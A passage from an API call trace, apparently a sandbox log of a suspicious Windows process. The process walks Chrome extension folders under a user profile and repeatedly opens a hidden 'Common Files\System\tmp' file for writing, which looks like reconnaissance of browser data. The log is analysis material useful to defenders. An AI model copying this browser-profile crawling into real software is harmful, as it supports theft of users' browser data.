dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.552] GetFileType (hFile=0x190) returned 0x1 [0130.552] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.553] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.554] GetLastError () returned 0x12 [0130.554] AreFileApisANSI () returned 1 [0130.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.554] GetFileType (hFile=0x190) returned 0x1 [0130.554] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.555] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.556] GetLastError () returned 0x12 [0130.556] AreFileApisANSI () returned 1 [0130.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.556] GetFileType (hFile=0x190) returned 0x1 [0130.556] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x837de8, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.557] AreFileApisANSI () returned 1 [0130.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.557] GetFileType (hFile=0x194) returned 0x1 [0130.557] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.661] AreFileApisANSI () returned 1 [0130.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0130.661] GetFileType (hFile=0x198) returned 0x1 [0130.661] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x18000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x178dc, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0130.661] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.661] GetLastError () returned 0x12 [0130.661] AreFileApisANSI () returned 1 [0130.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.661] GetFileType (hFile=0x194) returned 0x1 [0130.661] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.662] AreFileApisANSI () returned 1 [0130.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0130.662] GetFileType (hFile=0x198) returned 0x1 [0130.662] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x18000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x17ae4, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0130.662] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.662] GetLastError () returned 0x12 [0130.662] AreFileApisANSI () returned 1 [0130.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.663] GetFileType (hFile=0x194) returned 0x1 [0130.663] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.663] AreFileApisANSI () returned 1 [0130.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0130.663] GetFileType (hFile=0x198) returned 0x1 [0130.663] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x18000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x17cec, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0130.663] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.664] GetLastError () returned 0x12 [0130.664] AreFileApisANSI () returned 1 [0130.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.664] GetFileType (hFile=0x194) returned 0x1 [0130.664] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.664] AreFileApisANSI () returned 1 [0130.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0130.664] GetFileType (hFile=0x198) returned 0x1 [0130.665] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x18000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x17ef5, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0130.665] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.665] GetLastError () returned 0x12 [0130.665] AreFileApisANSI () returned 1 [0130.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.665] GetFileType (hFile=0x194) returned 0x1 [0130.665] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.779] AreFileApisANSI () returned 1 [0130.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0130.779] GetFileType (hFile=0x198) returned 0x1 [0130.779] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x19000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x180ff, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0130.779] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.784] GetLastError () returned 0x12 [0130.784] AreFileApisANSI () returned 1 [0130.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.785] GetFileType (hFile=0x194) returned 0x1 [0130.785] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.844] AreFileApisANSI () returned 1 [0130.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0130.845] GetFileType (hFile=0x198) returned 0x1 [0130.845] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x19000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x18307, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0130.845] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.845] GetLastError () returned 0x12 [0130.845] AreFileApisANSI () returned 1 [0130.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.846] GetFileType (hFile=0x194) returned 0x1 [0130.846] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.913] AreFileApisANSI () returned 1 [0130.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0130.913] GetFileType (hFile=0x198) returned 0x1 [0130.913] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x19000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x1850f, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0130.913] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.914] GetLastError () returned 0x12 [0130.914] AreFileApisANSI () returned 1 [0130.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.914] GetFileType (hFile=0x194) returned 0x1 [0130.914] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.915] AreFileApisANSI () returned 1 [0130.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0130.915] GetFileType (hFile=0x198) returned 0x1 [0130.915] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x19000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x1871b, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0130.915] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.915] GetLastError () returned 0x12 [0130.915] AreFileApisANSI () returned 1 [0130.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, 